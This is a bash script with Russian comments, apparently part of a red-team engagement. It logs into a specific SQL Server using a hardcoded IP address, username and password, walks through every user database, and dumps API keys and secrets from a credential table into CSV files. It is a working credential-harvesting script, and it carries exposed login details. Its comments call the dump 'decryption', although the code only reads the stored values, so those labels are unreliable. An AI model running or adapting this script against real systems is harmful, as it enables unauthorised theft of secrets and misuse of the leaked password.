#!/bin/bash
# Расшифровка API ключей для всех БД через SQL Server
SERVER="50.21.183.111"
USER="irely"
PASS="iRely486"
OUTPUT_DIR="/root/ir-assessment/redteam/irelydata/decrypted_api_keys"

mkdir -p "$OUTPUT_DIR"

DATABASES=$(docker run --rm --network host mcr.microsoft.com/mssql/server:2022-latest /opt/mssql-tools18/bin/sqlcmd -S "$SERVER" -U "$USER" -P "$PASS" -C -Q "SET NOCOUNT ON; SELECT name FROM sys.databases WHERE name NOT IN ('master','model','msdb','tempdb') ORDER BY name" -h -1 -W 2>/dev/null | grep -E "^[A-Za-z0-9_\\\\-]+$" | tail -n +2)

echo "=== Поиск и расшифровка API ключей ==="
echo ""

TOTAL_API=0
TOTAL_WITH_KEYS=0

for db in $DATABASES; do
    echo "=== $db ==="
    OUTPUT_FILE="$OUTPUT_DIR/${db}_api_keys_decrypted.csv"
    
    # Проверяем наличие API ключей
    timeout 30 docker run --rm --network host \
        mcr.microsoft.com/mssql/server:2022-latest \
        /opt/mssql-tools18/bin/sqlcmd \
        -S "$SERVER" -U "$USER" -P "$PASS" -C \
        -d "$db" \
        -Q "SET NOCOUNT ON; SELECT COUNT(*) FROM tblEMEntityCredential WHERE strApiKey IS NOT NULL OR strApiSecret IS NOT NULL" \
        -h -1 -W 2>/dev/null > /tmp/api_count.txt
    
    COUNT=$(cat /tmp/api_count.txt | tail -1 | tr -d '[:space:]')
    TOTAL_API=$((TOTAL_API + COUNT))
    
    if [ "$COUNT" = "0" ] || [ -z "$COUNT" ] || echo "$COUNT" | grep -qi "error\|invalid"; then
        echo "  - Нет API ключей или таблица отсутствует"
        continue
    fi
    
    TOTAL_WITH_KEYS=$((TOTAL_WITH_KEYS + COUNT))
    echo "  Найдено API записей: $COUNT"
    
    # Расшифровываем (если зашифрованы)
    timeout 60 docker run --rm --network host \
        mcr.microsoft.com/mssql/server:2022-latest \
        /opt/mssql-tools18/bin/sqlcmd \
        -S "$SERVER" -U "$USER" -P "$PASS" -C \
        -d "$db" \
        -Q "SET NOCOUNT ON; SELECT intEntityCredentialId, strUserName, strApiKey, strApiSecret, ysnApiDisabled FROM tblEMEntityCredential WHERE strApiKey IS NOT NULL OR strApiSecret IS NOT NULL" \
        -s "|" -W 2>/dev/null | tail -n +3 > "$OUTPUT_FILE"
    
    if [ -f "$OUTPUT_FILE" ]; then
        SIZE=$(ls -lh "$OUTPUT_FILE" | awk '{print $5}')
        ROWS=$(wc -l < "$OUTPUT_FILE")
        echo "  ✓ $ROWS API ключей сохранено, $SIZE"
        
        # Показать первые 3
        tail -n +1 "$OUTPUT_FILE" | head -3 | while IFS='|' read -r id user apikey apisecret disabled; do
            echo "    - $user: key=${apikey:0:20}..., disabled=$disabled"
        done
    fi
    echo ""
done

echo ""
echo "=== Расшифровка API ключей завершена ==="
echo "Всего проверено записей: $TOTAL_API"
echo "Записей с API ключами: $TOTAL_WITH_KEYS"
echo "Результаты в $OUTPUT_DIR"
